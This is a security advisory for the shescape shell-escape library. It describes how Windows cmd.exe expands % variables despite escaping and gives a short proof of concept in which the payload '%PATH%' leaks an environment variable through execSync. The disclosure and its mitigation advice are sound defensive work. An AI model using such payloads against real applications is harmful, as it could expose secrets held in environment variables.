Information Exposure Affecting shescape package, versions <1.7.1

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Information Exposure such that an attacker may be able to get read-only access to environment variables.

Note:

This impact users of Shescape:

1. On Windows using the Windows Command Prompt (i.e. cmd.exe), and
2. Using quote/quoteAll or escape/escapeAll with the interpolation option set to true.

Users who are unable to upgrade to the fixed version can remove all instances of % from user input, either before or after using Shescape.

import * as cp from "node:child_process";
import * as shescape from "shescape";

// 1. Prerequisites
const options = {
    shell: "cmd.exe",
    // Or
    shell: undefined, // Only if the default shell is CMD

    // And
    interpolation: true, // Only applies to `escape` and `escapeAll` usage
}

// 2. Attack (one of many)
const payload = "%PATH%";

// 3. Usage
let escapedPayload;

escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options);
// Or
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options);

// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable

• GitHub Commit
• GitHub PR
• GitHub Release